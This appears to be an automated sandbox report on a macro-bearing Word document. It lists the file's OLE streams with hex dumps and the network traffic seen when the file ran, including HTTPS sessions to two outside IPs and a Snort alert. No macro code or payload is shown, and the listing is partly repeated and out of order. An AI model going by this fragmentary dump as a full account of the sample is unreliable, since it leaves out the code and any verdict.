Stream Path: Macros/UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

Stream Path: Macros/UserForm1/f, File Type: data, Stream Size: 38
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Data Raw: 00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

General

General

Stream Path: Macros/UserForm1/o

File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

General

Stream Path: Macros/UserForm2/\x1CompObj

File Type: data

Stream Size: 97

Entropy: 3.61064918306

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t   F o r m s   2 . 0   F o r m . . . . . E m b e
d d e d   O b j e c t . . . . . . 9 . q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 
00 00 00 00 

General

Stream Path: Macros/UserForm2/\x3VBFrame

File Type: ASCII text, with CRLF line terminators

Stream Size: 266

Entropy: 4.62970308443

Base64 Encoded: True

Data ASCII: V E R S I O N   5 . 0 0 . . B e g i n   { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 
5 7 4 A 4 F }   U s e r F o r m 2   . .       C a p t i o n                   =       " U s e r F o r m 2 " . .       
C l i e n t H e i g h t         =       3 0 1 5 . .       C l i e n t L e f t             =       1 2 0 . .       C l i e 
n t T o p               =       4 6 5 . .       C l i e n t W i d t h           =       4 5 6 0 . .       S t a r t U p 
P o s i t i o n   =       1     ' C e n t e r O w 

Data Raw: 56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 
31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 
73 65 72 46 6f 72 6d 32 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 32 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 
68 74 20 20 20 20 3d 20 

General

Stream Path: Macros/UserForm2/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCII: . . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

General

Stream Path: Macros/UserForm2/o

File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

Stream Path: Macros/UserForm1/o, File Type: empty, Stream Size: 0

Stream Path: Macros/UserForm2/\x1CompObj, File Type: data, Stream Size: 97

Stream Path: Macros/UserForm2/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

Stream Path: Macros/UserForm2/f, File Type: data, Stream Size: 38

Stream Path: Macros/UserForm2/o, File Type: empty, Stream Size: 0
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General

Stream Path: Macros/UserForm3/\x1CompObj

File Type: data

Stream Size: 97

Entropy: 3.61064918306

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t   F o r m s   2 . 0   F o r m . . . . . E m b e
d d e d   O b j e c t . . . . . . 9 . q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 
00 00 00 00 

General

Stream Path: Macros/UserForm3/\x3VBFrame

File Type: ASCII text, with CRLF line terminators

Stream Size: 266

Entropy: 4.63438395848

Base64 Encoded: True

Data ASCII: V E R S I O N   5 . 0 0 . . B e g i n   { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 
5 7 4 A 4 F }   U s e r F o r m 3   . .       C a p t i o n                   =       " U s e r F o r m 3 " . .       
C l i e n t H e i g h t         =       3 0 1 5 . .       C l i e n t L e f t             =       1 2 0 . .       C l i e 
n t T o p               =       4 6 5 . .       C l i e n t W i d t h           =       4 5 6 0 . .       S t a r t U p 
P o s i t i o n   =       1     ' C e n t e r O w 

Data Raw: 56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 
31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 
73 65 72 46 6f 72 6d 33 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 33 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 
68 74 20 20 20 20 3d 20 

General

Stream Path: Macros/UserForm3/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCII: . . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

General

Stream Path: Macros/UserForm3/o

File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

General

Stream Path: Macros/UserForm4/\x1CompObj

File Type: data

Stream Size: 97

Entropy: 3.61064918306

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t   F o r m s   2 . 0   F o r m . . . . . E m b e
d d e d   O b j e c t . . . . . . 9 . q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 
00 00 00 00 

Stream Path: Macros/UserForm3/\x1CompObj, File Type: data, Stream Size: 97

Stream Path: Macros/UserForm3/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

Stream Path: Macros/UserForm3/f, File Type: data, Stream Size: 38

Stream Path: Macros/UserForm3/o, File Type: empty, Stream Size: 0

Stream Path: Macros/UserForm4/\x1CompObj, File Type: data, Stream Size: 97
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General

Stream Path: Macros/UserForm4/\x3VBFrame

File Type: ASCII text, with CRLF line terminators

Stream Size: 266

Entropy: 4.62402723855

Base64 Encoded: True

Data ASCII: V E R S I O N   5 . 0 0 . . B e g i n   { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 
5 7 4 A 4 F }   U s e r F o r m 4   . .       C a p t i o n                   =       " U s e r F o r m 4 " . .       
C l i e n t H e i g h t         =       3 0 1 5 . .       C l i e n t L e f t             =       1 2 0 . .       C l i e 
n t T o p               =       4 6 5 . .       C l i e n t W i d t h           =       4 5 6 0 . .       S t a r t U p 
P o s i t i o n   =       1     ' C e n t e r O w 

Data Raw: 56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 
31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 
73 65 72 46 6f 72 6d 34 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 34 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 
68 74 20 20 20 20 3d 20 

General

Stream Path: Macros/UserForm4/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCII: . . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

General

Stream Path: Macros/UserForm4/o

File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

General

Stream Path: Macros/UserForm5/\x1CompObj

File Type: data

Stream Size: 97

Entropy: 3.61064918306

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t   F o r m s   2 . 0   F o r m . . . . . E m b e
d d e d   O b j e c t . . . . . . 9 . q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 
00 00 00 00 

General

Stream Path: Macros/UserForm5/\x3VBFrame

File Type: ASCII text, with CRLF line terminators

Stream Size: 266

Entropy: 4.62202697924

Base64 Encoded: True

Data ASCII: V E R S I O N   5 . 0 0 . . B e g i n   { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 
5 7 4 A 4 F }   U s e r F o r m 5   . .       C a p t i o n                   =       " U s e r F o r m 5 " . .       
C l i e n t H e i g h t         =       3 0 1 5 . .       C l i e n t L e f t             =       1 2 0 . .       C l i e 
n t T o p               =       4 6 5 . .       C l i e n t W i d t h           =       4 5 6 0 . .       S t a r t U p 
P o s i t i o n   =       1     ' C e n t e r O w 

Stream Path: Macros/UserForm4/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

Stream Path: Macros/UserForm4/f, File Type: data, Stream Size: 38

Stream Path: Macros/UserForm4/o, File Type: empty, Stream Size: 0

Stream Path: Macros/UserForm5/\x1CompObj, File Type: data, Stream Size: 97

Stream Path: Macros/UserForm5/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266
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Data Raw: 56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 
31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 
73 65 72 46 6f 72 6d 35 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 35 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 
68 74 20 20 20 20 3d 20 

General

General

Stream Path: Macros/UserForm5/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCII: . . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 00 04 18 00 00 0c 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 

General

Stream Path: Macros/UserForm5/o

File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

General

Stream Path: Macros/VBA/_VBA_PROJECT

File Type: data

Stream Size: 5949

Entropy: 5.26993168344

Base64 Encoded: False

Data ASCII: . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 .
0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . 
# . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . 
~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l .   . B
. a . s . i . c . 

Data Raw: cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 
06 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 
34 00 2e 00 32 00 23 00 

General

Stream Path: Macros/VBA/dir

File Type: data

Stream Size: 1039

Entropy: 6.60831708882

Base64 Encoded: True

Data ASCII: . . . . . . . . . . . . 0 * . . . . . p . . H . . " . . d . . . . . _ _ Q . 0 . . @ . . . . . = . . . . . ` . . . . . . . . . . . . a . .
. . J . < . . . . . r s t d . o l e > . 2 s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . .
C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O 
L E   A u t . o m a t i o n . ` . . . . . N o r m a l . . E N . C r . m . a Q . F . .   . . . . . * , \\ C . . . . d . 
m . . A . ! O f f i c . 

Data Raw: 01 0b b4 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4 
04 04 02 84 5f 5f 51 00 30 00 00 40 02 14 06 02 14 3d ad 02 14 07 02 60 01 14 08 06 12 09 
02 12 80 99 86 d0 61 07 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 32 
73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30 30 
32 30 b0 34 33 30 2d 00 

General

Stream Path: WordDocument

File Type: data

Stream Path: Macros/UserForm5/f, File Type: data, Stream Size: 38

Stream Path: Macros/UserForm5/o, File Type: empty, Stream Size: 0

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 5949

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 1039

Stream Path: WordDocument, File Type: data, Stream Size: 43108
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Snort IDS Alerts

Network Port Distribution

Total Packets: 76

• 53 (DNS)

• 443 (HTTPS)

Stream Size: 43108

Entropy: 3.69797214633

Base64 Encoded: False

Data ASCII: . . . . [ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p a ! \\ p a
! \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . 2 . . . . . . . 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: ec a5 c1 00 5b e0 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 8c a3 
00 00 0e 00 62 6a 62 6a 12 0b 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
09 04 16 00 2e a8 00 00 70 61 21 5c 70 61 21 5c 8c 9b 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 
0f 00 00 00 00 00 

General

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

02/01/21-
23:18:24.263263

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49169 70.32.23.44 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Feb 1, 2021 23:25:15.806587934 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:15.843477964 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:15.843609095 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:15.867645025 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:15.905683994 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:15.906677008 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:15.906698942 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:15.906718016 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:15.906827927 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:15.912910938 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:15.950129032 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:15.977408886 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.050429106 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.519890070 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.519928932 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.519994020 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520045996 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520076036 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520131111 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520162106 CET 443 49742 194.209.195.106 192.168.2.4

TCP Packets
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Feb 1, 2021 23:25:16.520207882 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520266056 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520273924 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.520302057 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.520325899 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.520396948 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.555680990 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555725098 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555757046 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555811882 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555843115 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555895090 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555923939 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.555928946 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.555954933 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556022882 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556052923 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.556056976 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556062937 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.556098938 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556129932 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556180000 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556206942 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556235075 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.556243896 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.556257010 CET 443 49742 194.209.195.106 192.168.2.4

Feb 1, 2021 23:25:16.556524992 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.605983019 CET 49742 443 192.168.2.4 194.209.195.106

Feb 1, 2021 23:25:16.912554979 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.065234900 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.065489054 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.065936089 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.218677998 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.220899105 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.220958948 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.221002102 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.221103907 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.233995914 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.386765003 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.388068914 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.394598961 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.547605991 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592668056 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592698097 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592715025 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592751980 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592784882 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592812061 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592839956 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592868090 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592899084 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.592926025 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.593077898 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.593157053 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.745815992 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.745874882 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.745932102 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.745985985 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746015072 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746037006 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746067047 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746088982 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746139050 CET 443 49744 35.208.182.43 192.168.2.4

Timestamp Source Port Dest Port Source IP Dest IP
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Feb 1, 2021 23:25:17.746156931 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746190071 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746238947 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746248007 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746289015 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746337891 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746356010 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746387959 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746438026 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746486902 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746491909 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746539116 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746562958 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746591091 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746644974 CET 443 49744 35.208.182.43 192.168.2.4

Feb 1, 2021 23:25:17.746651888 CET 49744 443 192.168.2.4 35.208.182.43

Feb 1, 2021 23:25:17.746696949 CET 443 49744 35.208.182.43 192.168.2.4

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Feb 1, 2021 23:24:58.880695105 CET 58028 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:24:58.928853989 CET 53 58028 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:00.078610897 CET 53097 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:00.135023117 CET 53 53097 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:01.324814081 CET 49257 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:01.372632980 CET 53 49257 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:02.746282101 CET 62389 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:02.797038078 CET 53 62389 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:04.148582935 CET 49910 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:04.200645924 CET 53 49910 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:04.974355936 CET 55854 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:05.045759916 CET 53 55854 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:05.620496988 CET 64549 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:05.689152002 CET 53 64549 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:06.620959997 CET 64549 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:06.678680897 CET 53 64549 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:06.708297014 CET 63153 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:06.756216049 CET 53 63153 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:07.636528015 CET 64549 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:07.694077969 CET 53 64549 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:07.961083889 CET 52991 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:08.008883953 CET 53 52991 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:09.209168911 CET 53700 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:09.259351015 CET 53 53700 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:09.653359890 CET 64549 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:09.714550018 CET 53 64549 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:10.767510891 CET 51726 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:10.823693037 CET 53 51726 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:11.948971987 CET 56794 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:12.007550001 CET 53 56794 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:12.912555933 CET 56534 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:12.960546017 CET 53 56534 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:13.668315887 CET 64549 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:13.724653006 CET 53 64549 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:13.963905096 CET 56627 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:14.015094995 CET 53 56627 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:15.228617907 CET 56621 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:15.279382944 CET 53 56621 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:15.730209112 CET 63116 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:15.794337988 CET 53 63116 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:16.395081997 CET 64078 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:16.455329895 CET 53 64078 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:16.674420118 CET 64801 53 192.168.2.4 8.8.8.8

UDP Packets
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Feb 1, 2021 23:25:16.839863062 CET 53 64801 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:16.854863882 CET 61721 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:16.910959005 CET 53 61721 8.8.8.8 192.168.2.4

